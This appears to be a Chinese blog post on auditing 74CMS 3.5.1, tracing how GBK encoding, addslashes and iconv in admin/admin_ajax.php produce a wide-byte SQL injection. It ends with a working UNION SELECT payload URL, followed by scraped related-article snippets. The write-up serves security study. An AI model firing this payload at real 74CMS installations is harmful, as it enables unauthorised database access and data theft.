第一次进行CMS的代码审计,我选择了2014年发布的74CMS 3.5.1,历史比较久远的CMS往往存在更多的问题,虽然技术上难度不大,但是在思路方面给了我很大的启发。下面我根据我的思路给大家分享一下这次审计的流程。

拿到CMS后,首先大致了解一下目录结构,进行一些功能上的猜测,随后我打开了index.php文件:

 if(!$smarty->is_cached($mypage['tpl'],$cached_id))
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);
$smarty->display($mypage['tpl'],$cached_id);
}
else
{
$smarty->display($mypage['tpl'],$cached_id);
}
unset($smarty);

在第三行包含了include/mysql.class.php文件,我们跟读这个文件发现了数据库连接函数:

     function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid);
}
}
}
if($dbname){
if(mysql_select_db($dbname, $this->linkid)===false){
$this->dbshow("Can't select MySQL database($dbname)!");
}
}
}

在这里做了一个判断,在MySQL版本>4.1时,执行 SET NAME gbk,在之前的文章中说过,这里大概率会出现宽字节注入漏洞,为了确定单引号如何转义,我们还需要再看一下过滤函数,这里的过滤函数位于/include/commen.fun.php中。

 function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}

这个函数是将变量使用addslashes()函数进行过滤,将'过滤为\’,满足宽字节注入的条件,到此我们可以正式确定存在宽字节注入漏洞。为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php

 elseif($act == 'get_jobs')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="get_id")
{
$id=intval($key);
$sql = "select * from ".table('jobs')." where id='{$id}' LIMIT 1";
}
elseif ($type=="get_jobname")
{
$sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_comname")
{
$sql = "select * from ".table('jobs')." where companyname like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_uid")
{
$uid=intval($key);
$sql = "select * from ".table('jobs')." where uid='{$uid}' LIMIT 30";
}
else
{
exit();
}
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
$row['addtime']=date("Y-m-d",$row['addtime']);
$row['deadline']=date("Y-m-d",$row['deadline']);
$row['refreshtime']=date("Y-m-d",$row['refreshtime']);
$row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);
$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);
$info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];
}
if (!empty($info))
{
exit(implode('@@@',$info));
}
else
{
exit();
}
}

这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的文章中提到过单引号被addslashes转义成为\',如果提交%df,那就会与\(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ \' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。到此我们可以构造payload了:

http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

74cms_3.5.1 宽字节注入的更多相关文章

  1. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  2. MYSQL注入天书之宽字节注入

    Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解 ...

  3. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  4. Mysql宽字节注入(转)

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. sqli-labs(十四)(宽字节注入)

    数据库使用gbk编码的时候,会将两个字符合并成一个中文. 写在前面吧,对php的代码审计也会有帮助 直接使用 set character_set_client=gbk 或者是常见的mysql_quer ...

  7. SQL宽字节注入

    0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...

  8. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

  9. 【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...

随机推荐

  1. python类(3)感悟

    1.关于类属性attribute和实例(对象)特性property思考 为什么特性会出现,类属性不能完全替代它吗? 属性: python在为属性赋值时,只会搜索对象本身的__dict__,如果找不到对 ...

  2. Go语言之冒泡排序

    package main //main函数 import "fmt" //相当于#include func main() { ar := [], , , , , , , , , } ...

  3. google docker镜像下载

    https://anjia0532.github.io/2017/11/15/gcr-io-image-mirror/

  4. 【动手学pytorch】pytorch的基础操作

    一.Tensor a)       张量是torch的基础数据类型 b)       张量的核心是坐标的改变不会改变自身性质. c)        0阶张量为标量(只有数值,没有方向的量),因为它不随 ...

  5. 安卓和iOS统一下载页面

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. 感知机分类(perceptron classification)

    概述 在机器学习中,感知机(perceptron)是二分类的线性分类模型,属于监督学习算法.输入为实例的特征向量,输出为实例的类别(取+1和-1). 感知机对应于输入空间中将实例划分为两类的分离超平面 ...

  7. pyQt 流布局的一个例子

    瀑布流布局 from PyQt5.QtCore import QPoint, QRect, QSize, Qt from PyQt5.QtWidgets import (QApplication, Q ...

  8. java 连接mysql 示例

    import java.sql.*; public class Main { // MySQL 8.0 以下版本 - JDBC 驱动名及数据库 URL static final String JDBC ...

  9. 1)基本的MFC程序创建过程

    1)基本的MFC创建过程: 2)   选择MFC应用程序: 3)然后选择特定的选项  直接完成就行了: 4)下面就是建成的样子: 5)然后是  运行结果: 6)有一个问题  那个  菜单栏是属于  F ...

  10. python编程:从入门到实践----第五章>if 语句

    一.一个简单示例 假设有一个汽车列表,并想将其每辆汽车的名称打印出来.遇到汽车名‘bmw’,以全大写打印:其他汽车名,首字母大写 cars=['audi','bmw','subaru','toyota ...